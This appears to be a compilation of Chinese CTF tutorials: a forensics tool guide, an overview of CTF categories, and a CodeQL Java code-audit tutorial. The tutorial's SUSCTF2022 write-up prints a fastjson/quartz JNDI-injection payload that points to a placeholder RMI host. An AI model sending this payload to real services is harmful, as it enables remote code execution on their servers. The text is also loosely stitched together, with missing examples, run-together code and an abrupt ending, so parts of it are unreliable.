在巨人的肩頭才會看見更遠的世界,這是一篇來自技術牛人的神總結,運用多年實戰(zhàn)經驗總結的CTF取證方法,全面細致,通俗易懂,掌握了這個技能定會讓你在CTF路上少走很多彎路,不看真的會后悔!
本篇文章大約6千字,閱讀時間需20分鐘,希望大家耐心看完!
取證
在CTF(Capture The Flag,中文一般譯作奪旗賽,在網絡安全領域中指的是網絡安全技術人員之間進行技術競技的一種比賽形式)中,取證的挑戰(zhàn)可能包括文件格式分析,隱寫術,內存轉儲分析或網絡數據包捕獲分析等。檢查和處理靜態(tài)數據文件,而不是可執(zhí)行程序或遠程服務器的隱藏信息,這其中任何挑戰(zhàn)都可以被認為一個取證挑戰(zhàn),除非它涉及密碼學,在這種情況下它可能屬于Crypto類別。
取證是一個非常寬泛的CTF類別概念,因為這個叫法不能很好對應到安全行業(yè)中的特定工作角色,盡管一些挑戰(zhàn)模擬了事件響應(IR)中看到的任務種類,即使在IR工作中,計算機取證通常是執(zhí)法人員為了尋求證據數據和歸屬而做的事,很少有人是為了預防被攻擊或僅僅是為了恢復系統(tǒng)完整性的商業(yè)行為。
與大多數CTF取證挑戰(zhàn)不同,現(xiàn)實世界的計算機取證任務幾乎不會涉及解開巧妙編碼的字節(jié)、隱藏數據、文件夾中的mastroshka文件或其他復雜的問題。通常人們不會通過仔細重新組裝損壞的PNG文件來破壞刑事案件的分析,揭示QR碼的照片,該QR碼解碼為包含NES rom的zip存檔的密碼。
但是,現(xiàn)實世界的取證通常要求取證人找到間接的惡意證據,比如系統(tǒng)中的攻擊者的痕跡或內部威脅行為的痕跡。實際的計算機取證主要在于對日志,內存,文件系統(tǒng)或注冊表以及相關的文件和文件系統(tǒng)元數據中找到犯罪的線索。此外,網絡(數據包捕獲)取證更多的涉及元數據分析,而不是內容分析,因為現(xiàn)在大多數網絡會話都在端點之間進行TLS加密。
之所以會在CTF進行這個脫離實踐的挑戰(zhàn)游戲,就是為了提高此項賽事的觀賞性和難度。
為了解決這個挑戰(zhàn),你需要具備以下三個基本技能:
1、了解腳本語言,例如Python;
2、知道如何處理該語言的二進制數據(字節(jié)級操作);
3、識別格式、協(xié)議、結構和編碼。
當然,像大多數CTF一樣,理想的環(huán)境是一個Linux系統(tǒng)。如果你愿意使用Windows系統(tǒng)也行,不過不建議用Mac系統(tǒng)。
在Python中處理二進制數據
假設你已經選擇了一些Python編程,你仍然可能不知道如何有效的處理二進制數據。像C這樣的低級語言可能更適合這個任務。
以下是使用Python中的二進制數據的一些示例。
以二進制方式寫入或讀取文件:
f = open('Reverseit', "rb")s = f.read()f.close()f = open
('ItsReversed', "wb")f.write(s[::-1])f.close()bytearray類型是一個可變的字節(jié)序列,可以在Python 2和3中使用:
你還可以從十六進制表示的Unicode字符串中定義一個bytearray:
bytearray類型具有與Python str或list大致相同的方便方法split(), insert(), reverse(),extend(),pop(),remove()等。
將一個文件讀入一個字母進行處理:
data = bytearray(open('challenge.png', 'rb').read())
常見取證概念和工具
文件格式識別和魔術字節(jié)
幾乎所有的取證挑戰(zhàn)都將涉及一個文件,通常會在沒有任何上下文的環(huán)境中讓你猜測這個文件是干什么的。 Filetype作為用戶熟知的概念,歷史上已被指定為filetype擴展名,例如,MarkDown的readme.md,MIME類型,如Web上Content-Type頭文件,或者存儲在文件系統(tǒng)中的元數據(as在MacOS中使用mdls命令)。在CTF中,比賽的一部分就是使用啟發(fā)式方法來自己識別文件。
用于在UNIX上識別文件類型的傳統(tǒng)啟發(fā)式是libmagic,它是用于識別所謂的“魔術數字”或“魔術字節(jié)”的庫,它是文件類型頭文件中的唯一標識標記字節(jié)。 libmagic 庫是文件命令的基礎。
$ file screenshot.png screenshot.png: PNG image data, 1920 x 1080, 8-bit/color RGBA, non-interlaced請記住,啟發(fā)式和使用它們的工具很容易被混淆。因為在比賽中,你可能會看到一個被故意制作來誤導的文件。另外,如果一個文件包含一個嵌入其中的其他文件,那么文件命令只能識別包含的文件類型。在這些情況下,你可能需要更仔細的檢查文件內容。
TrID是更復雜的文件版本,雖然它是封閉源代碼,但它是免費的,可以跨平臺運行。它還使用識別啟發(fā)式,又具有確定的百分比。它的優(yōu)點是其較大的已知文件類型,包括現(xiàn)實世界中看到的許多專有和晦澀的格式。
File Carving
File Carving是數字取證研究中頻繁使用的一種文件恢復技術,它從表面上無差別的二進制數據集,即原始磁盤映象中提取(或者說恢復)文件,而不利用磁盤映象的文件系統(tǒng)類型。這個過程就如同在一塊光滑的石頭上雕刻出許多圖案一樣,故稱之為“Carving”(雕刻)。
scalpel,現(xiàn)在是SleuthKit的一部分,SleuthKit是File Carving的另一種工具,以前稱為Foremost。
要手動提取文件的子部分,可以使用dd命令。許多十六進制編輯器還提供復制字節(jié)并將其粘貼為新文件的功能,因此你不需要研究偏移量。
以下是使用dd從文件偏移量1335205處進行File Carving的示例,長度為40668937字節(jié):
$ dd if=./file_with_a_file_in_it.xxx of=./extracted_file.xxx bs=1 skip=1335205 count=40668937盡管上述工具應該足夠了,但在某些情況下,你可能還需要使用Python編程方式提取文件的子部分,使用Python的re或regex模塊來識別魔術字節(jié),以及zlib模塊來提取zlib流。
初始分析
在搜索文件中的所有純文本字符串時要用到一些有用的命令字符串,比如,grep是用來搜索特定的字符串,bgrep是用來搜索非文本數據模式和hexdump。
以下是使用字符串查找ASCII字符串和文件偏移量的示例:
$ strings -o screenshot.png 12 IHDR 36 $iCCPICC Profile 88 U2EI4HB... 767787 IENDUnicode字符串(如果是UTF-8)可能會顯示在搜索ASCII字符串中,但是要搜索其他編碼,請參閱-e標志的文檔。請注意字符串會存在許多編碼陷阱。
以下是在PNG文件中搜索PNG魔術字節(jié)的示例:
$ bgrep 89504e47 screenshot.png screenshot.png: 00000000以下是使用hexdump的例子:
hexdump的優(yōu)點不在于它是最好的十六進制編輯器,而是可以將其他命令的直接輸出管道轉換為hexdump,或將其輸出管道輸出到grep又或者使用格式字符串對其輸出格式化。
以下是使用hexdump格式字符串將文件的前50個字節(jié)作為一個64位整數以十六進制輸出:
hexdump命令的其他用途
二進制文本編碼
二進制就是1和0,但通常作為文本傳輸,傳輸101010101的實際序列將是浪費的,因此首先要使用各種方法對數據進行編碼。這就是所謂的二進制到文本編碼。當對上述文件進行字符串分析時,你可能會發(fā)現(xiàn)編碼為文本字符串的二進制數據。
前面已經說過取證最重要的是能夠識別編碼,有一些可以一目了然地識別,例如Base64編碼的內容,可以通過其字母數字字符集和其“=”填充后綴識別。網上有很多Base64編碼器或者可以使用base64命令:
$ echo aGVsbG8gd29ybGQh | base64 -Dhello world!ASCII編碼的十六進制也可以通過其字符集(0-9,A-F)來標識,ASCII字符本身占用了一定范圍的字節(jié)(0x00到0x7f,見man ascii),所以如果你正在檢查一個文件并找到一個像68 65 6c 6c 6f 20 77 6f 72 6c 64 21這樣的字符串,那么請注意這就是ASCII碼。在技術上,它是以ASCII(二進制)編碼為十六進制編碼的文本。
目前已經有幾個網站為各種編碼提供在線編碼解碼器,對于本地的轉換器,請嘗試使用xxd命令。
以下是使用xxd執(zhí)行text-as-ascii-to-hex編碼的示例:
$ echo hello world! | xxd -p68656c6c6f20776f726c64210a
普通文件格式
前面介紹了通用取證任務的基本概念和工具,接下來將更具體介紹一些有挑戰(zhàn)的取證方法以及用于分析每個方法中的推薦工具。
對每種可能的數據格式做準備是不可能實現(xiàn)的,但在CTF中有一些是特別受歡迎的,例如你需要準備以下工具:
· 歸檔文件(ZIP,TGZ)
· 圖像文件格式(JPG,GIF,BMP,PNG)
· 文件系統(tǒng)映像(特別是EXT4)
· 數據包捕獲(PCAP,PCAPNG)
· 內存轉儲
· 視頻(特別是MP4)或音頻(尤其是WAV,MP3)
· Microsoft的Office格式(RTF,OLE,OOXML)
分析文件格式時,文件格式感知(a.k.a.模板化)十六進制編輯器,如010編輯器,一個被稱為Kaitai的開源產品,此外,Wireshark網絡協(xié)議分析儀的一個不太知名的功能是能夠分析某些媒體文件格式,如GIF,JPG和PNG。然而,所有這些工具都是用于分析未損壞和格式良好的文件,許多CTF挑戰(zhàn)會讓參賽者根據丟失或清零的格式字段等重建文件的任務。
Zip文件的分析
大多數CTF挑戰(zhàn)都包含在zip,7z,rar,tar或tgz文件中,但只有在取證挑戰(zhàn)中,存檔容器文件才是挑戰(zhàn)的一部分。通常,挑戰(zhàn)的目標是從損壞的存檔中提取文件或者在未使用的字段中找到嵌入的數據(常見的取證挑戰(zhàn)),而zip文件是目前最常見的。
有一些zip文件的命令行工具將有助于我們的分析:
· unzip通常會輸出有關zip無法解壓原因的有用信息。
· zipdetails -v將提供有關格式各個字段中存在的值的深入信息。
· zipinfo列出了有關zip文件內容的信息,而不提取它。
· zip -F input.zip –out output.zip和zip -FF input.zip –out output.zip嘗試修復損壞的zip文件。
· fcrackzip brute-force會嘗試猜測一個密碼小于7個字符的zip密碼。
Zip文件格式規(guī)范
與密碼保護的RAR或7z文件不同,zip文件的一個重要的安全相關注意事項是它們不加密其包含壓縮文件的文件名和原始文件大小。
關于zip破解的另一個注意事項是,如果你有加密zip中壓縮的任何一個文件的未加密或未壓縮副本,你可以執(zhí)行明文攻擊并破解zip。用于密碼保護zip文件的新方案(使用AES-256,而不是“ZipCrypto”)并沒有這個弱點。
圖像文件格式分析
圖像文件格式是復雜的,會以許多方式被攻擊,這就使得挑戰(zhàn)涉及元數據字段,有損和無損壓縮,校驗和隱寫術或視覺數據編碼方案。
簡單的初步分析步驟是使用exiftool來檢查圖像文件的元數據字段,如果圖像文件的挑戰(zhàn)被濫用于CTF,則其EXIF可能會識別原始圖像尺寸,相機類型,嵌入的縮略圖,注釋和版權字符串,GPS位置坐標等。
exiftool輸出示例:
特別是,PNG文件在CTF挑戰(zhàn)中很受歡迎,可能是因為它們的無損壓縮適用于隱藏圖像中的非可視數據??梢栽赪ireshark中解析PNG文件,要驗證是否正確或嘗試修復損壞的PNG,你可以使用pngcheck。如果你需要深入挖掘PNG,pngtools軟件包可能會有用。
利用隱寫術在一個不相關的數據中隱藏一些秘密數據的做法在現(xiàn)實中非常罕見,所以在CTF中的另一個受歡迎的取證挑戰(zhàn)就是利用隱寫術來破解任何類型的數據。隱寫術的挑戰(zhàn)難點在于,提取隱藏的消息不僅需要使用隱寫術的檢測,而且還需要用于嵌入隱藏消息準確的隱寫工具。如果我們懷疑某文件使用了隱寫術,我們至少要檢查它是否存在。 Stegsolve通常用于將各種隱寫術技術應用于圖像文件,以嘗試檢測和提取隱藏的數據,你也可以試試zsteg。
Gimp提供了改變圖像文件的視覺數據的能力,曾經有CTF挑戰(zhàn)者使用改變的色相、飽和度、亮度值和顏色通道來隱藏秘密信息。Gimp還有助于確認是否真的是一個圖像文件,例如,當你從內存轉儲或其他地方的顯示緩沖區(qū)恢復圖像數據,但是缺少指定像素格式的圖像文件頭,圖像高度和寬度等,Gimp會將你的數據作為原始圖像數據打開,并嘗試使用不同的設置。
ImageMagick工具可以合并到腳本中,讓你能夠快速識別,調整大小,裁剪,修改,轉換或以其他方式處理圖像文件。它也可以使用比較功能找到兩個看似相同的圖像之間的視覺和數據差異。
如果你正在編寫自定義圖像文件格式解析器,請導入Python圖像庫(PIL),也稱為Pillow。它可以讓你從動畫GIF中提取幀,甚至可以從JPG中提取單個像素,它支持大多數主要圖像文件的格式。
如果使用QR碼(2D條形碼),還可以查看Python的qrtools模塊。你可以使用少于5行的Python來解碼QR碼的圖像。當然,如果你只需要解碼一個QR碼,任何智能手機都可以。
文件系統(tǒng)分析
計算機取證中的分類是指迅速縮小查看內容的能力,以下是安裝CD-ROM文件系統(tǒng)映像的示例:
mkdir /mnt/challengemount -t iso9660 challengefile /mnt/challenge一旦安裝了文件系統(tǒng),tree命令會幫你快速查看目錄結構,看看是否有任何東西可以進一步分析。
你可能沒有在可視文件系統(tǒng)中查找文件,但很有可能是一個隱藏的卷,未分配的空間(不是任何分區(qū)的一部分的磁盤空間),已刪除的文件或非文件文件系統(tǒng)結構,
如http://www.nirsoft.net/utils/alternate_data_streams.html。對于EXT3和EXT4文件系統(tǒng),你可以嘗試使用extenelete查找已刪除的文件。對于其他的,比如TestDisk,恢復丟失的分區(qū)表,修復損壞的分區(qū),取消刪除FAT或NTFS上的文件等。
Sleuth Kit及其附帶的基于Web的用戶界面“Autopsy”是用于文件系統(tǒng)分析的強大開源工具包,可以幫助你在整個磁盤映像中搜索關鍵字或查看未分配的空間等任務。
嵌入式設備文件系統(tǒng)是獨有的類別,專門針對固定功能的低資源環(huán)境,可以壓縮,單文件或只讀。 Squashfs是嵌入式設備文件系統(tǒng)的一種流行實現(xiàn)工具。對于嵌入式設備的圖像,你最好使用固件模塊或二進制解析器進行分析。
數據包捕獲(PCAP)文件分析
CTF挑戰(zhàn)之一就是提供一個表示一些網絡流量的PCAP文件,并挑戰(zhàn)播放器恢復或重構傳輸的文件或傳輸的秘密。
要進行初步分析,請使用Wireshark的統(tǒng)計信息或對話視圖或其capinfos命令對數據包進行高級視圖。Wireshark及其命令行版本tshark都支持使用“過濾器”功能,如果你掌握語法,則可以快速減少分析范圍。
還有一個名為PacketTotal的在線服務,你可以提交高達50MB的PCAP文件,并在安全連接上以圖形方式顯示連接的時間線和SSL元數據。此外,它將突出顯示文件傳輸并顯示任何“可疑”活動。如果你已經知道要搜索的內容,可以使用ngrep進行grep搜索。
正如File Carving一樣,識別和提取文件中嵌入的文件,而“分組式的File Carving”則是用于描述從數據包捕獲中提取文件的術語,它是用于從捕獲的數據包中恢復文件的昂貴商業(yè)工具,但是一個開放源代碼的選擇是Xplico框架。Wireshark還具有“導出對象”功能,用于從捕獲中提取數據,例如,F(xiàn)ile – > Export Objects – > HTTP – > Save all。除此之外,你可以嘗試使用tcpxtract,Network Miner, Foremost或Snort。
如果要編寫自己的腳本直接處理PCAP文件,建議使用用于pcap操作的dpkt Python包。你也可以使用Wirepy從你的Python中使用Wireshark。如果嘗試修復損壞的PCAP文件,則有一個在線服務來修復名為PCAPfix的PCAP文件。
關于PCAP與PCAPNG的注意事項,有兩個版本的PCAP文件格式。你可能需要使用Wireshark或其他兼容工具將文件從PCAPNG轉換為PCAP,以便在其他工具中使用它。
內存轉儲分析
多年來,人們一直把計算機取證與文件系統(tǒng)取證看作是同一回事,但隨著攻擊越來越復雜,攻擊者開始避開磁盤。而且內存快照通常包含在磁盤上無法找到的上下文和線索中,因為它們只存在于運行時,例如操作配置,遠程攻擊shellcode,密碼和加密密鑰等。因此,內存快照或內存轉儲取證已經成為事件響應中的流行做法。
用于內存轉儲分析的首選開源框架是Volatility,Volatility是用于解析使用外部工具,或通過暫停VM收集的VMware內存映像收集的內存轉儲的Python腳本。因此,只要知道內存轉儲文件和相關的配置文件(收集轉儲的操作系統(tǒng)),Volatility就可以開始識別數據中的結構,運行進程,密碼等,它還可以使用插件來提取各種工件類型。
Ethscan用于在內存轉儲中查找看起來像網絡數據包的數據,然后將其解壓縮到pcap文件中,以便在Wireshark中查看,用于提取SQL數據庫,Chrome歷史記錄,F(xiàn)irefox歷史等的插件。
PDF文件分析
PDF是一個非常復雜的文檔文件格式, PDF格式是部分純文本,如HTML,但內容中包含許多二進制對象。二進制對象可以是壓縮或甚至加密的數據,并且包括腳本語言中的內容,如JavaScript或Flash。要顯示PDF的結構,你可以使用文本編輯器瀏覽它,也可以使用PDF感覺文件格式編輯器打開它,如Origami。
qpdf是一個可以用于探索PDF并從中轉換或提取信息的工具。另一個是Ruby中的一個框架,叫做Origami。
當探索隱藏數據的PDF內容時,隱藏位置通常指的是以下幾個:
· 不可見層
· Adobe的元數據格式“XMP”
· PDF的“增量生成”功能,其中保留先前版本,但對用戶不可見
· 在白色背景上的白色文本
· 文字背后的圖像
· 重疊圖像后面的圖像
· 未顯示的評論
還有幾個Python包用于處理PDF文件格式,如PeepDF,可以讓你編寫自己的解析腳本。
視頻和音頻文件分析
與圖像文件格式一樣,可以使用stegonagraphy在內容數據中嵌入一個秘密消息,也要知道檢查文件元數據區(qū)域的線索。第一步是使用mediainfo工具或exiftool來查看內容類型并查看其元數據。
Audacity是很流行的開源音頻文件和波形查看工具,CTF挑戰(zhàn)者喜歡將文本編碼成音頻波形,盡管一個名為Sonic Visualiser的專用工具特別適合此任,但我還是建議使用spectogram視圖查看。Audacity還可以讓你減緩,反轉和執(zhí)行其他可能顯示隱藏消息的操作,Sox是轉換和操作音頻文件的另一個有用的命令行工具。
檢查秘密消息的最低有效位(LSB)也是常見的。大多數音頻和視頻媒體格式使用離散方式以便可以流式傳輸,最低有效位的方法就是偷走某些數據而不會明顯影響文件的常見地點。
其他時候,消息可能會被編碼為DTMF音調或莫爾斯碼。
視頻文件格式實際上是容器格式,其中包含音頻和視頻的單獨流,它們被多路復用在一起進行播放。為了分析和處理視頻文件格式,建議使用ffmpeg。 ffmpeg –i可以給出文件內容的初步分析。它還可以解復用或回放內容流。
辦公文件分析
迄今為止,微軟已經創(chuàng)建了數十種Office文檔文件格式,其中許多文件格式已經被網絡釣魚和惡意軟件作為傳播惡意程序的載體,因為它們包含宏(VBA腳本)。Office文檔取證分析與PDF文檔取證并不相同。
一般來說,Office文件格式有兩種類型:OLE格式(RTF,DOC,XLS,PPT等文件擴展名)和“Office Open XML”格式(包括DOCX,XLSX,PPTX的文件擴展名)。兩種格式都是結構化的復合文件二進制格式,可以啟用鏈接或嵌入式內容。OOXML文件實際上是zip文件容器,這意味著檢查隱藏數據的最簡單方法之一是簡單地解壓縮文檔:
你可以看到,一些結構是由文件和文件夾層次結構創(chuàng)建的,其余的在XML文件中指定。
另外,Python工具集存在用于檢查和分析OLE和OOXML文檔——oletools。對于OOXML文檔,OfficeDissector和Python庫是一個非常強大的分析框架。有時,對辦公文件分析的挑戰(zhàn)不是找到隱藏的靜態(tài)數據,而是分析一個VBA宏來確定其行為。
上述解析器工具可以指示宏是否存在,并可能為你提取數據。 Windows文檔中的一個典型的VBA宏會將PowerShell腳本下載到%TEMP%,并嘗試執(zhí)行它,在這種情況下,你可以使用PowerShell腳本分析任務。但惡意的VBA宏不會很復雜,因為VBA通常只是作為一個跳出平臺來引導代碼執(zhí)行。
如果宏被模糊化并且具有解壓縮程序,則不需要擁有Office許可證來進行調試。你可以使用Libre Office,任何已調試程序的人都會熟悉其界面。你可以設置斷點并創(chuàng)建觀察變量,并在解壓后捕獲其值,但在執(zhí)行任何有效負載行為之前,可以從命令行啟動特定文檔的宏:
$ soffice path/to/test.docx macro://./standard.module1.mymacro
春日生活打卡季#
CTF(Capture The Flag)中文一般譯作奪旗賽,在網絡安全領域中指的是網絡安全技術人員之間進行技術競技的一種比賽形式。CTF起源于1996年DEFCON全球黑客大會,以代替之前黑客們通過互相發(fā)起真實攻擊進行技術比拼的方式。發(fā)展至今,已經成為全球范圍網絡安全圈流行的競賽形式,2013年全球舉辦了超過五十場國際性CTF賽事。而DEFCON作為CTF賽制的發(fā)源地,DEFCON CTF也成為了目前全球最高技術水平和影響力的CTF競賽,類似于CTF賽場中的“世界杯” 。
CTF是一種流行的信息安全競賽形式,其英文名可直譯為“奪得Flag”,也可意譯為“奪旗賽”。其大致流程是,參賽團隊之間通過進行攻防對抗、程序分析等形式,率先從主辦方給出的比賽環(huán)境中得到一串具有一定格式的字符串或其他內容,并將其提交給主辦方,從而奪得分數。為了方便稱呼,我們把這樣的內容稱之為“Flag”。
CTF競賽模式具體分為以下三類:
1、解題模式(Jeopardy)
在解題模式CTF賽制中,參賽隊伍可以通過互聯(lián)網或者現(xiàn)場網絡參與,這種模式的CTF競賽與ACM編程競賽、信息學奧賽比較類似,以解決網絡安全技術挑戰(zhàn)題目的分值和時間來排名,通常用于在線選拔賽。題目主要包含逆向、漏洞挖掘與利用、Web滲透、密碼、取證、隱寫、安全編程等類別。
2、攻防模式(Attack-Defense)
在攻防模式CTF賽制中,參賽隊伍在網絡空間互相進行攻擊和防守,挖掘網絡服務漏洞并攻擊對手服務來得分,修補自身服務漏洞進行防御來避免丟分。攻防模式CTF賽制可以實時通過得分反映出比賽情況,最終也以得分直接分出勝負,是一種競爭激烈,具有很強觀賞性和高度透明性的網絡安全賽制。在這種賽制中,不僅僅是比參賽隊員的智力和技術,也比體力(因為比賽一般都會持續(xù)48小時及以上),同時也比團隊之間的分工配合與合作。
3、混合模式(Mix)
結合了解題模式與攻防模式的CTF賽制,比如參賽隊伍通過解題可以獲取一些初始分數,然后通過攻防對抗進行得分增減的零和游戲,最終以得分高低分出勝負。采用混合模式CTF賽制的典型代表如iCTF國際CTF競賽。
PWN(溢出):PWN在黑客俚語中代表著攻破,取得權限,在CTF比賽中它代表著溢出類的題目,其中常見類型溢出漏洞有棧溢出、堆溢出。在CTF比賽中,線上比賽會有,但是比例不會太重,進入線下比賽,逆向和溢出則是戰(zhàn)隊實力的關鍵。主要考察參數選手漏洞挖掘和利用能力。
MISC(安全雜項):全稱Miscellaneous。題目涉及流量分析、電子取證、人肉搜索、數據分析、大數據統(tǒng)計等等,覆蓋面比較廣。我們平時看到的社工類題目;給你一個流量包讓你分析的題目;取證分析題目,都屬于這類題目。主要考查參賽選手的各種基礎綜合知識,考察范圍比較廣。
CRYPTO(密碼學):全稱Cryptography。題目考察各種加解密技術,包括古典加密技術、現(xiàn)代加密技術甚至出題者自創(chuàng)加密技術。實驗吧“角斗場”中,這樣的題目匯集的最多。這部分主要考查參賽選手密碼學相關知識點。
WEB(web類):WEB應用在今天越來越廣泛,也是CTF奪旗競賽中的主要題型,題目涉及到常見的Web漏洞,諸如注入、XSS、文件包含、代碼審計、上傳等漏洞。這些題目都不是簡單的注入、上傳題目,至少會有一層的安全過濾,需要選手想辦法繞過。且Web題目是國內比較多也是大家比較喜歡的題目。因為大多數人開始安全都是從web日站開始的。
REVERSE(逆向):全稱reverse。題目涉及到軟件逆向、破解技術等,要求有較強的反匯編、反編譯扎實功底。需要掌握匯編,堆棧、寄存器方面的知識。有好的邏輯思維能力。主要考查參賽選手的逆向分析能力。此類題目也是線下比賽的考察重點。
PPC(編程類):全稱Professionally Program Coder。題目涉及到程序編寫、編程算法實現(xiàn)。算法的逆向編寫,批量處理等,有時候用編程去處理問題,會方便的多。當然PPC相比ACM來說,還是較為容易的。至于編程語言嘛,推薦使用Python來嘗試。這部分主要考察選手的快速編程能力。
STEGA(隱寫):全稱Steganography。隱寫術是我開始接觸CTF覺得比較神奇的一類,知道這個東西的時候感覺好神奇啊,黑客們真是聰明。題目的Flag會隱藏到圖片、音頻、視頻等各類數據載體中供參賽選手獲取。載體就是圖片、音頻、視頻等,可能是修改了這些載體來隱藏flag,也可能將flag隱藏在這些載體的二進制空白位置。有時候需要你偵探精神足夠的強,才能發(fā)現(xiàn)。此類題目主要考查參賽選手的對各種隱寫工具、隱寫算法的熟悉程度。實驗吧“角斗場”的隱寫題目在我看來是比較全的,以上說到的都有涵蓋。新手盆友們可以去了解下。
方向A:PWN+Reserver+Crypto隨機搭配
方向B:Web+Misc組合
Misc所有人都可以做
推薦圖書:
A方向:
B方向:
CodeQL是近幾年很火的一個語義代碼分析引擎,使用CodeQL可以像查詢數據一樣來查詢代碼,編寫查詢用于查找代碼中的漏洞。筆者作為一名安全競賽研究員,嘗試使用CodeQL來協(xié)助CTF中Java題目的代碼審計。本文將圍繞著使用CodeQL來查詢Java中函數的流向,以及類與函數常用謂詞的運用,在CTF的代碼審計時快速判斷某個函數是否會流向一些可能存在利用的函數。
關于CodeQL的環(huán)境安裝教程,網上已經有比較多的文章了,這里就不贅述。給出幾個參考鏈接:
https://github.com/github/codeql
https://www.anquanke.com/post/id/266823
https://www.freebuf.com/sectool/269924.html
https://tttang.com/archive/1322/
查詢的過程中,我們如果想要查詢某個類(或方法),這時就需要通過一些謂詞來限制這個類(或方法)的一些特征。
先從網上下載一個已經打包的數據庫:
https://github.com/githubsatelliteworkshops/codeql/releases/download/v1.0/apache_struts_cve_2017_9805.zip
在CodeQL中,RefType就包含了我們在Java里面使用到的Class,Interface的聲明,比如我們現(xiàn)在需要查詢一個類名為XStreamHandler的類,但是我們不確定他是Class還是Interface,我們就可以通過 RefType定義變量后進行查詢,如下
import java
from RefType c
where c.hasName("XStreamHandler")
select c
RefType中常用的謂詞:
https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Type.qll/type.Type$RefType.html
getACallable() 獲取所有可以調用方法(其中包括構造方法)
getAMember() 獲取所有成員,其中包括調用方法,字段和內部類這些
getAField() 獲取所有字段
getAMethod() 獲取所有方法
getASupertype() 獲取父類
getAnAncestor() 獲取所有的父類相當于遞歸的getASupertype*()
獲取XStreamHandler的fromObject可以通過構造如下查詢語句:
import java
from RefType c, Callable cf
where
c.hasName("XStreamHandler") and
cf.hasName("fromObject") and
cf = c.getACallable()
select c, cf
在CodeQL中,Java的方法限制,我們可以使用Callable,并且Callable父類是 Method (普通的方法)和 Constructor(類的構造方法)
對于方法調用,我們可以使用call,并且call的父類包括MethodAccess, ClassInstanceExpression, ThisConstructorInvocationStmt 和 SuperConstructorInvocationStmt
現(xiàn)在我們需要查詢有哪些地方調用了XStream.fromXML,可以構造如下的查詢:
import java
from MethodAccess c, Callable cb
where
cb.hasName("fromXML") and
cb.getDeclaringType().hasQualifiedName("com.thoughtworks.xstream", "XStream") and
c.getMethod() = cb
select c
Callable常使用的謂詞:
https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Member.qll/type.Member$Callable.html
polyCalls(Callable target) 一個Callable 是否調用了另外的Callable,這里面包含了類似虛函數的調用
hasName(name) 可以對方法名進行限制
Call中常使用的謂詞:
https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Call.html
getCallee() 返回函數聲明的位置
getCaller() 返回調用這個函數的函數位置
現(xiàn)在我們先構建一個mybatis-3的數據庫,通過CodeQL database create mybatis_3_db --language="java" --command="mvn clean install --file pom.xml -Dmaven.test.skip=true"進行編譯,編譯完導入vscode就行
mybatis-3的下載鏈接:https://github.com/mybatis/mybatis-3
我們先編寫一個限制方法名為lookup,并且他所屬的類或者接口是javax.naming.Context的類,點擊快速查詢得到三個結果:
class LookupMethod extends Call {
LookupMethod() {
this.getCallee().getDeclaringType().getASupertype*().hasQualifiedName("javax.naming", "Context") and
this.getCallee().hasName("lookup")
}
}
然后再編寫一個限制方法名滿足getter和setter的類,我們點擊快速查看,可以得到很多結果。
class GetterCallable extends Callable {
GetterCallable() {
getName().matches("get%") and
hasNoParameters() and
getName().length() > 3
or
getName().matches("set%") and
getNumberOfParameters() = 1
}
}
現(xiàn)在我們需要找到一個可以從getter和setter方法到lookup的路徑,這個時候可以利用edges和Callable中的謂詞polyCalls進行構造,通過查詢可以得到一個結果,也就是 fastjson 1.2.45里面的一個繞過方法。
https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/PrintAst.qll/predicate.PrintAst$edges.4.html
/**
* @kind path-problem
*/
import java
class LookupMethod extends Call {
LookupMethod() {
this.getCallee().getDeclaringType().getASupertype*().hasQualifiedName("javax.naming", "Context") and
this.getCallee().hasName("lookup")
}
}
class GetterCallable extends Callable {
GetterCallable() {
getName().matches("get%") and
hasNoParameters() and
getName().length() > 3
or
getName().matches("set%") and
getNumberOfParameters() = 1
}
}
query predicate edges(Callable a, Callable b) { a.polyCalls(b) }
from LookupMethod endcall, GetterCallable entryPoint, Callable endCallAble
where
endcall.getCallee() = endCallAble and
edges+(entryPoint, endCallAble)
select endcall.getCaller(), entryPoint, endcall.getCaller(), "Geter jndi"、
SUSCTF2022的gadeget題目考察的是:fastjson JNDI注入、JNDI注入繞過高版本jdk限制、繞過RASP等。
做這個題目的時候,有一步是需要我們找到通過fastjson利用quartz依賴包的gadeget觸發(fā)反序列化。
通過 https://github.com/quartz-scheduler/quartz 下載源碼包,然后通過以下命令生成數據庫:
CodeQL database create quartz_db --language="java" --command="mvn clean install --file pom.xml -Dmaven.test.skip=true"
然后導入到CodeQL里面。需要注意的是,如果這個數據庫通過https://github.com/waderwu/extractor-java這個工具生成quartz2.2.1數據庫的話會導致查詢不到getTransaction函數,查看相應代碼的AST(抽象語法樹)發(fā)現(xiàn),AST這里并沒有把getTransaction解析為函數。
然后通過如下的codeql語句進行查詢,整個codeql的查詢意義是先找到一個從getter或者setter出發(fā)的函數,是否能流到lookup的調用,并且這個lookup調用時的參數是存在相應的setter進行賦值操作。
/**
* @kind path-problem
*/
import java
class LookupMethod extends Call {
LookupMethod() {
this.getCallee().getDeclaringType().getASupertype*().hasQualifiedName("javax.naming", "Context") and
this.getCallee().hasName("lookup") and
exists(FieldAccess f, Class cl |
this.getAnArgument() = f and
cl.getACallable().getName().toLowerCase().matches("set" + f.toString().toLowerCase()) and
this.getCaller().getDeclaringType() = cl
)
}
}
class GetterCallable extends Callable {
GetterCallable() {
getName().matches("get%") and
hasNoParameters() and
getName().length() > 3
or
getName().matches("set%") and
getNumberOfParameters() = 1
}
}
query predicate edges(Callable a, Callable b) { a.polyCalls(b) }
from LookupMethod endcall, GetterCallable entryPoint, Callable endCallAble
where
endcall.getCallee() = endCallAble and
edges+(entryPoint, endCallAble)
select endcall.getCaller(), entryPoint, endcall.getCaller(), "fastjson"
可以發(fā)現(xiàn)掃到了很多地方,但是主要觸發(fā)點就兩個:
經過篩選,我們發(fā)現(xiàn)可以通過JTANonClusteredSemaphore的方法getTransaction觸發(fā)jndi
所以我們就可以構造poc,遠程可以收到請求,利用成功。
[{"@type":"org.quartz.impl.jdbcjobstore.JTANonClusteredSemaphore","TransactionManagerJNDIName":"rmi://ip:port/h"},{"$ref":"$[0].Transaction"}]
MRCTF2022的ezjava題目考察的是:bypass SerialKiller、反序列化鏈構造等。
題目環(huán)境:
https://github.com/Y4tacker/CTFBackup/tree/main/2022/2022MRCTF/%E7%BB%95serializeKiller
